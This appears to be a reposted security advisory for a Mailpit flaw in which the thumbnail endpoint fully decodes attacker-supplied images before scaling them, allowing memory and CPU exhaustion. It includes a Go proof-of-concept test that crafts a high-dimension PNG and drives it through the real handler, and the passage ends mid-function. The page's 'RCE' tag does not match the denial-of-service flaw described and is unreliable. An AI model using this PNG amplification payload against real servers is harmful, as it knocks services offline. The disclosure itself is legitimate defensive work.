返回列表

Mailpit: Thumbnail generation decodes unbounded image dimensions before scaling

CVE-2026-67446RCE2026-09-02

漏洞描述

## Summary Mailpit's thumbnail endpoint decodes attacker-supplied image attachments into a full raster before checking any decoded-pixel, dimension, or memory budget. A remote client that can store an email and reach the default web API can supply a compact high-dimension image, then request `/api/v1/message/{id}/part/{partID}/thumb` to force server-side memory and CPU work far larger than the encoded attachment size before Mailpit returns a 180x120 thumbnail. ## Technical Details The route is registered as `GET /api/v1/message/{id}/part/{partID}/thumb` in `server/server.go`. The handler in `server/apiv1/thumbnails.go` loads the requested attachment and accepts any part whose content type begins with `image/`: ```go a, err := storage.GetAttachmentPart(id, partID) // ... if !strings.HasPrefix(a.ContentType, "image/") { blankImage(a, w) return } buf := bytes.NewBuffer(a.Content) img, err := imaging.Decode(buf, imaging.AutoOrientation(true)) ``` `storage.GetAttachmentPart()` reparses the stored raw email and returns the matching attacker-supplied attachment bytes. `Thumbnail()` then calls `imaging.Decode()` before any check on declared dimensions or estimated decoded bytes. The subsequent `imaging.Fill(img, 180, 120, ...)`, `imaging.Clone()`, and JPEG encode only happen after the full image has already been decoded. The thumbnail output is fixed at 180x120, so the endpoint does not need to decode arbitrarily large rasters. The current implementation lets a small compressed PNG declare large dimensions and expand to tens or hundreds of MiB of decoded pixels before scaling. The default message-size controls do not stop this class: they bound encoded message/attachment bytes, while this issue is encoded-size to decoded-raster amplification after storage. The UI also naturally reaches this endpoint for image attachments. `server/ui-src/components/message/MessageAttachments.vue` uses `/api/v1/message/{message.ID}/part/{part.PartID}/thumb` as the `<img src>` for image attachments, so opening an affected message in the web UI can trigger the decode path. A client with API access can also call the endpoint directly. ## PoV The following test creates a valid all-zero RGBA PNG by streaming compressed scanlines, so the generator does not need to allocate the full source image. It then exercises both the direct decode/scale operation and the real handler path: store an email with the PNG attachment, resolve the actual `PartID`, and call `Thumbnail()`. The oversized case uses a 4096x4096 image. That is intentionally bounded for safe local reproduction, but it is enough to show a 65,301-byte encoded PNG becoming an estimated 67,108,864-byte decoded RGBA raster before thumbnail scaling. The negative control is a 16x16 PNG. ```go package apiv1 import ( "bytes" "compress/zlib" "encoding/base64" "encoding/binary" "fmt" "hash/crc32" "net/http" "net/http/httptest" "path/filepath" "strings" "testing" "github.com/axllent/mailpit/config" "github.com/axllent/mailpit/internal/logger" "github.com/axllent/mailpit/internal/storage" "github.com/kovidgoyal/imaging" ) func pngChunk(kind string, data []byte) []byte { var out bytes.Buffer _ = binary.Write(&out, binary.BigEndian, uint32(len(data))) out.WriteString(kind) out.Write(data) crc := crc32.NewIEEE() crc.Write([]byte(kind)) crc.Write(data) _ = binary.Write(&out, binary.BigEndian, crc.Sum32()) return out.Bytes() } func solidRGBApng(width, height int) []byte { var out bytes.Buffer out.Write([]byte{0x89, 'P', 'N', 'G', '\r', '\n', 0x1a, '\n'}) ihdr := make([]byte, 13) binary.BigEndian.PutUint32(ihdr[0:4], uint32(width)) binary.BigEndian.PutUint32(ihdr[4:8], uint32(height)) ihdr[8] = 8 ihdr[9] = 6 out.Write(pngChunk("IHDR", ihdr)) var compressed bytes.Buffer zw := zlib.NewWriter(&compressed) row := make([]byte, 1+width*4) for i := 0; i < height; i++ { _, _ = zw.Write(row) } _ = zw.Close() out.Write(pngChunk("IDAT", compressed.Bytes())) out.Write(pngChunk("IEND", nil)) return out.Bytes() } func TestThumbnailDecodeDimensionAmplificationPoV(t *testing.T) { for _, tc := range []struct { name string width int height int }{ {name: "negative-control", width: 16, height: 16}, {name: "oversized-attachment", width: 4096, height: 4096}, } { t.Run(tc.name, func(t *testing.T) { payload := solidRGBApng(tc.width, tc.height) img, err := imaging.Decode(bytes.NewReader(payload), imaging.AutoOrientation(true)) if err != nil { t.Fatalf("decode failed: %v", err) } thumb := imaging.Fill(img, thumbWidth, thumbHeight, imaging.Center, imaging.Lanczos) if thumb.Bounds().Dx() != thumbWidth || thumb.Bounds().Dy() != thumbHeight { t.Fatalf("unexpected thumbnail bounds: %v", thumb.Bounds()) } decodedRGBA := tc.width * tc.height * 4 t.Logf("%s: encoded_png_bytes=%d decoded_rgba_bytes=%d dimensions=%dx%d amplification=%.1fx", tc.name, len(payload), decodedRGBA, tc.width, tc.height, float64(decodedRGBA)/float64(len(payload))) }) } } func TestThumbnailHandlerDimensionAmplificationPoV(t *testing.T) { logger.NoLogging = true config.Database = filepath.Join(t.TempDir(), "mailpit.db") config.Compression = 0 config.TenantID = "" config.MaxMessages = 0 if err := storage.InitDB(); err != nil { t.Fatalf("InitDB failed: %v", err) } defer storage.Close() for _, tc := range []struct { name string width int height int }{ {name: "negative-control", width: 16, height: 16}, {name: "oversized-attachment", width: 4096, height: 4096}, } { t.Run(tc.name, func(t *testing.T) { payload := solidRGBApng(tc.width, tc.height) raw := []byte(fmt.Sprintf("From: sender@example.test\r\nTo: victim@example.test\r\nSubject: %s\r\nMIME-Version: 1.0\r\nContent-Type: multipart/mixed; boundary=\"pov-boundary\"\r\n\r\n--pov-boundary\r\nContent-Type: text/plain\r\n\r\nbody\r\n--pov-boundary\r\nContent-Type: image/png; name=\"pov.png\"\r\nContent-Disposition: attachment; filename=\"pov.png\"\r\nContent-Transfer-Encoding: base64\r\n\r\n%s\r\n--pov-boundary--\r\n", tc.name, wrapBase64(payload))) id, err := storage.Store(&raw, nil) if err != nil { t.Fatalf("Store failed: %v", err) } msg, err := storage.GetMessage(id) if err != nil { t.Fatalf("GetMessage failed: %v", err) } if len(msg.Attachments) != 1 { t.Fatalf("attachments=%d, want 1", len(msg.Attachments)) } req := httptest.NewRequest(http.MethodGet, "/api/v1/message/"+id+"/part/"+msg.Attachments[0].PartID+"/thumb", nil) req.SetPathValue("id", id) req.SetPathValue("partID", msg.Attachments[0].PartID) rr := httptest.NewRecorder() Thumbnail(rr, req) if rr.Code != http.StatusOK { t.Fatalf("Thumbnail status=%d body=%q", rr.Code, rr.Body.String()) } if ct := rr.Header().Get("Content-Type"); ct != "image/jpeg" { t.Fatalf("Content-Type=%q, want image/jpeg", ct) } decodedRGBA := tc.width * tc.height * 4 t.Logf("%s handler path: stored_png_bytes=%d decoded_rgba_bytes=%d dimensions=%dx%d amplification=%.1fx thumbnail_jpeg_bytes=%d", tc.name, len(payload), decodedRGBA, tc.width, tc.height, float64(decodedRGBA)/float64(len(payload)), rr.Body.Len()) }) } } func wrapBase64(b []byte) string { encoded := base64.StdEncoding.EncodeToString(b) var lines []string for len(encoded) > 76 { lines = append(lines,

查看原文